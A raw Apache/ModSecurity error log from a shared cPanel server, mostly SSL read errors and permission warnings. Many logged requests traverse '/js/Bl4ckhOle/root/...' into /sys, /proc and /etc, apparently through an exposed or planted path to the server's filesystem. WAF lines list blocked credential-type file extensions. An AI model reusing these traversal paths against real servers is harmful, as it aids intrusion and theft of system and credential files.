[Fri Jul 17 09:59:38.085524 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:32806] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:38.180333 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:32812] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:42.259816 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:55394] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:42.350158 2026] [security2:error] [pid 2032156:tid 2032156] [client 47.82.55.108:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/sys/devices/pci0000:00/0000:00:02.0/firmware_node/physical_node/config"] [unique_id "almvtq14q1EBnanVMYGvnwAAAAk"]
[Fri Jul 17 09:59:42.350211 2026] [security2:error] [pid 2032156:tid 2032156] [client 47.82.55.108:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/sys/devices/pci0000:00/0000:00:02.0/firmware_node/physical_node/config"] [unique_id "almvtq14q1EBnanVMYGvnwAAAAk"]
[Fri Jul 17 09:59:42.361220 2026] [core:error] [pid 2063463:tid 2063463] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/bus/memory/devices/memory124/node0/cpu2/subsystem/uevent
[Fri Jul 17 09:59:43.014024 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:59:43.146711 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:59:43.617990 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:59:43.772949 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:59:43.782724 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:59:44.080988 2026] [mime:warn] [pid 2063888:tid 2063888] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:59:44.084550 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:59:44.117629 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:55468] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:44.122391 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:59:44.141829 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:59:44.143033 2026] [security2:error] [pid 2050576:tid 2050576] [client 47.82.48.142:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:53/subsystem/tty35/subsystem/tty39/"] [unique_id "almvuJuhBssQvDAz4zCsxAAAABI"]
[Fri Jul 17 09:59:44.143074 2026] [security2:error] [pid 2050576:tid 2050576] [client 47.82.48.142:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:53/subsystem/tty35/subsystem/tty39/"] [unique_id "almvuJuhBssQvDAz4zCsxAAAABI"]
[Fri Jul 17 09:59:44.167825 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:59:44.328495 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:59:44.395708 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:59:45.720095 2026] [mime:warn] [pid 2060582:tid 2060582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:59:45.771774 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:55532] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:45.800248 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:59:45.847477 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:59:46.060557 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:59:46.091717 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:59:46.395789 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:59:46.478640 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:59:46.547223 2026] [core:error] [pid 2063894:tid 2063894] (13)Permission denied: [client 47.82.8.70:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/189:1/1-1:1.0/subsystem/drivers/usbhid/unbind
[Fri Jul 17 09:59:46.652952 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:59:46.726856 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 47.79.51.17:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/PNP0A06:01/subsystem/drivers_probe
[Fri Jul 17 09:59:46.764362 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:59:47.801413 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:59:48.014173 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:59:48.292036 2026] [core:error] [pid 2063895:tid 2063895] (13)Permission denied: [client 47.82.55.112:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:01.0/remove
[Fri Jul 17 09:59:48.314636 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:59:48.636967 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:59:48.724513 2026] [core:error] [pid 2047046:tid 2047046] (13)Permission denied: [client 47.79.10.103:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/pci0000:00/firmware_node/device:20/subsystem/uevent
[Fri Jul 17 09:59:49.895104 2026] [ssl:error] [pid 2063894:tid 2063894] (70014)End of file found: [client 66.85.158.91:55636] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:51.578675 2026] [security2:error] [pid 2018768:tid 2018768] [client 175.157.249.55:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/css/main.css"] [unique_id "almvv1CBpfuYyhJ140vejgAAAB4"], referer: https://www.epid.gov.lk/investigation-forms/investigation-forms
[Fri Jul 17 09:59:51.578810 2026] [security2:error] [pid 2018768:tid 2018768] [client 175.157.249.55:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/css/main.css"] [unique_id "almvv1CBpfuYyhJ140vejgAAAB4"], referer: https://www.epid.gov.lk/investigation-forms/investigation-forms
[Fri Jul 17 09:59:54.966816 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:59:56.586594 2026] [security2:error] [pid 2063442:tid 2063442] [client 185.191.171.18:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/cagefs-skeleton/usr/lib64/python2.7/dis.pyo"] [unique_id "almvxKTW5eFi1WFCzw0WUQAAABc"]
[Fri Jul 17 09:59:56.586645 2026] [security2:error] [pid 2063442:tid 2063442] [client 185.191.171.18:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/cagefs-skeleton/usr/lib64/python2.7/dis.pyo"] [unique_id "almvxKTW5eFi1WFCzw0WUQAAABc"]
[Fri Jul 17 09:59:58.027247 2026] [security2:error] [pid 2063442:tid 2063442] [client 47.82.52.45:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/proc/self/root/etc/cl.php.d/alt-php70/alt_php.ini"] [unique_id "almvxaTW5eFi1WFCzw0WUgAAABc"]
[Fri Jul 17 09:59:58.027836 2026] [security2:error] [pid 2063442:tid 2063442] [client 47.82.52.45:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/proc/self/root/etc/cl.php.d/alt-php70/alt_php.ini"] [unique_id "almvxaTW5eFi1WFCzw0WUgAAABc"]
[Fri Jul 17 09:59:58.028401 2026] [security2:error] [pid 2063442:tid 2063442] [client 47.82.52.45:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/proc/self/root/etc/cl.php.d/alt-php70/alt_php.ini"] [unique_id "almvxaTW5eFi1WFCzw0WUgAAABc"]
[Fri Jul 17 09:59:58.166579 2026] [ssl:error] [pid 2063443:tid 2063443] (70014)End of file found: [client 66.85.158.91:38234] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:58.172355 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:38258] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:58.180970 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:38248] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:58.197803 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:38342] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:58.300490 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:38344] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:58.401516 2026] [ssl:error] [pid 2063441:tid 2063441] (70014)End of file found: [client 66.85.158.91:38364] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:58.502296 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:38444] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:58.702993 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:38474] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:58.703157 2026] [security2:error] [pid 2032156:tid 2032156] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/sys/bus/cpu/devices/cpu1/driver/cpu0/node0/memory87/removable"] [unique_id "almvxq14q1EBnanVMYGvqwAAAAk"]
[Fri Jul 17 09:59:58.703181 2026] [security2:error] [pid 2032156:tid 2032156] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/sys/bus/cpu/devices/cpu1/driver/cpu0/node0/memory87/removable"] [unique_id "almvxq14q1EBnanVMYGvqwAAAAk"]
[Fri Jul 17 09:59:58.803291 2026] [ssl:error] [pid 2063889:tid 2063889] (70014)End of file found: [client 66.85.158.91:38496] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:58.904780 2026] [ssl:error] [pid 2063442:tid 2063442] (70014)End of file found: [client 66.85.158.91:38508] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:00.521165 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:38636] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:01.351175 2026] [security2:error] [pid 2063895:tid 2063895] [client 57.141.18.3:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/cpu/devices/cpu1/node0/memory13/node0/memory5/"] [unique_id "almvyRf3V7HXByUCfDSxNAAAABY"]
[Fri Jul 17 10:00:01.351737 2026] [security2:error] [pid 2063895:tid 2063895] [client 57.141.18.3:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/cpu/devices/cpu1/node0/memory13/node0/memory5/"] [unique_id "almvyRf3V7HXByUCfDSxNAAAABY"]
[Fri Jul 17 10:00:03.218594 2026] [ssl:error] [pid 2063436:tid 2063436] (70014)End of file found: [client 66.85.158.91:43308] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:03.378727 2026] [ssl:error] [pid 2063888:tid 2063888] (70014)End of file found: [client 66.85.158.91:43326] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:03.458655 2026] [ssl:error] [pid 2063443:tid 2063443] (70014)End of file found: [client 66.85.158.91:43344] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:03.560346 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:43356] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:03.841817 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:43374] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:03.844786 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:43378] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:03.908833 2026] [ssl:error] [pid 2063441:tid 2063441] (70014)End of file found: [client 66.85.158.91:43406] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:04.103189 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:43420] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:04.206779 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:43426] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:04.320495 2026] [ssl:error] [pid 2063442:tid 2063442] (70014)End of file found: [client 66.85.158.91:43450] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:04.508906 2026] [ssl:error] [pid 2063895:tid 2063895] (70014)End of file found: [client 66.85.158.91:43476] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:04.710287 2026] [ssl:error] [pid 2063883:tid 2063883] (70014)End of file found: [client 66.85.158.91:43500] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:04.815793 2026] [ssl:error] [pid 2060582:tid 2060582] (70014)End of file found: [client 66.85.158.91:43506] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:04.915790 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:43522] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:06.809164 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:43592] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:08.219421 2026] [ssl:error] [pid 2063894:tid 2063894] (70014)End of file found: [client 66.85.158.91:43630] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:08.851450 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:43638] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:08.934324 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:43648] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:09.032172 2026] [ssl:error] [pid 2063436:tid 2063436] (70014)End of file found: [client 66.85.158.91:43654] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:09.194688 2026] [core:error] [pid 2064883:tid 2064883] (13)Permission denied: [client 47.128.48.126:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/kernel/slab/audit_tree_mark/aliases
[Fri Jul 17 10:00:10.025686 2026] [ssl:error] [pid 2063443:tid 2063443] (70014)End of file found: [client 66.85.158.91:43718] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:12.336369 2026] [core:error] [pid 2063441:tid 2063441] (13)Permission denied: [client 57.141.18.95:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory137/node0/memory117/subsystem/devices/memory5/subsystem/devices/memory103/subsystem/uevent
[Fri Jul 17 10:00:12.557500 2026] [core:error] [pid 2064882:tid 2064882] (13)Permission denied: [client 57.141.18.90:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory35/node0/memory86/node0/memory16/subsystem/drivers_probe
[Fri Jul 17 10:00:13.464543 2026] [security2:error] [pid 2064879:tid 2064879] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/robots.txt"] [unique_id "almv1WTem5UnhuySh-0nIgAAAAA"]
[Fri Jul 17 10:00:13.464973 2026] [security2:error] [pid 2064879:tid 2064879] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/robots.txt"] [unique_id "almv1WTem5UnhuySh-0nIgAAAAA"]
[Fri Jul 17 10:00:13.465317 2026] [security2:error] [pid 2064879:tid 2064879] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/robots.txt"] [unique_id "almv1WTem5UnhuySh-0nIgAAAAA"]
[Fri Jul 17 10:00:16.004133 2026] [security2:error] [pid 2064879:tid 2064879] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almv12Tem5UnhuySh-0nIwAAAAA"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1186&page_105=1822
[Fri Jul 17 10:00:16.004173 2026] [security2:error] [pid 2064879:tid 2064879] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almv12Tem5UnhuySh-0nIwAAAAA"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1186&page_105=1822
[Fri Jul 17 10:00:17.194809 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:42690] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:17.792425 2026] [ssl:error] [pid 2063883:tid 2063883] (70014)End of file found: [client 66.85.158.91:42714] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:18.491485 2026] [ssl:error] [pid 2064879:tid 2064879] (70014)End of file found: [client 66.85.158.91:42738] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:20.873295 2026] [ssl:error] [pid 2063441:tid 2063441] (70014)End of file found: [client 66.85.158.91:42842] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:20.875703 2026] [ssl:error] [pid 2064883:tid 2064883] (70014)End of file found: [client 66.85.158.91:42848] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:20.880210 2026] [ssl:error] [pid 2060582:tid 2060582] (70014)End of file found: [client 66.85.158.91:42862] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:20.884408 2026] [ssl:error] [pid 2064882:tid 2064882] (70014)End of file found: [client 66.85.158.91:42878] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:20.884538 2026] [ssl:error] [pid 2063442:tid 2063442] (70014)End of file found: [client 66.85.158.91:42832] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:20.886225 2026] [ssl:error] [pid 2063436:tid 2063436] (70014)End of file found: [client 66.85.158.91:42882] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:21.108231 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:42904] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:21.163319 2026] [ssl:error] [pid 2063894:tid 2063894] (70014)End of file found: [client 66.85.158.91:42952] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:21.546505 2026] [ssl:error] [pid 2063895:tid 2063895] (70014)End of file found: [client 66.85.158.91:57744] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:21.583122 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:57756] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:21.619282 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:57758] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:23.156939 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:57788] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:24.541962 2026] [ssl:error] [pid 2063443:tid 2063443] (70014)End of file found: [client 66.85.158.91:57834] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:26.036106 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:57898] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:26.133545 2026] [ssl:error] [pid 2063883:tid 2063883] (70014)End of file found: [client 66.85.158.91:57916] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:26.231718 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:57922] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:26.416743 2026] [ssl:error] [pid 2064882:tid 2064882] (70014)End of file found: [client 66.85.158.91:57930] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:26.826764 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:57988] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:27.374169 2026] [ssl:error] [pid 2064883:tid 2064883] (70014)End of file found: [client 66.85.158.91:58000] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:28.962289 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:58090] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:28.967756 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:58102] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:29.008583 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:58110] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:29.112069 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:58116] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:29.213514 2026] [ssl:error] [pid 2063894:tid 2063894] (70014)End of file found: [client 66.85.158.91:58118] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:29.316059 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:58126] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:29.417438 2026] [ssl:error] [pid 2064879:tid 2064879] (70014)End of file found: [client 66.85.158.91:58140] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:29.519606 2026] [ssl:error] [pid 2063463:tid 2063463] (70014)End of file found: [client 66.85.158.91:58148] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:29.619152 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:58160] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:29.732738 2026] [ssl:error] [pid 2063443:tid 2063443] (70014)End of file found: [client 66.85.158.91:58190] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:31.456705 2026] [security2:error] [pid 2063436:tid 2063436] [client 57.141.18.65:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/node/devices/node0/memory63/node0/memory142/subsystem/devices/memory96/"] [unique_id "almv5zM07o9wrUj-Wv1wfAAAABQ"]
[Fri Jul 17 10:00:31.456754 2026] [security2:error] [pid 2063436:tid 2063436] [client 57.141.18.65:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/node/devices/node0/memory63/node0/memory142/subsystem/devices/memory96/"] [unique_id "almv5zM07o9wrUj-Wv1wfAAAABQ"]
[Fri Jul 17 10:00:32.014372 2026] [ssl:error] [pid 2064882:tid 2064882] (70014)End of file found: [client 66.85.158.91:48966] AH02013: coalesce failed to read from data bucket
